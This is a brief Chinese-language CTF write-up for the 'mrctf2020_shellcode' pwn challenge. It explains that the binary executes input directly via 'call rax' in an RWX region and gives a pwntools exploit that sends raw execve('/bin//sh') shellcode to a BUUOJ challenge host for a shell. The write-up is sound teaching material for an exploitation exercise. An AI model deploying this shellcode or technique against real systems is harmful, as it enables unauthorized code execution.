mrctf2020_shellcode

check:
file
64位,开了PIE,got不可劫持
一般这种有RWX段的,大概率就是shellcode,而且还没开NX

ida反编译失败,从汇编语句上来看,用 read 读入字符串以后放到 rax 寄存器,然后跳到 loc_D6 ,这里直接 call rax 那就直接输入 shellcode 了。
file

gdb调试来看也是这样的,rip 赋值为输入的内容
file

exp:

from pwn import*

p=remote('node4.buuoj.cn',25966)
#p=process('./pwn')
context.log_level='debug'
shell='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(shell)
p.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据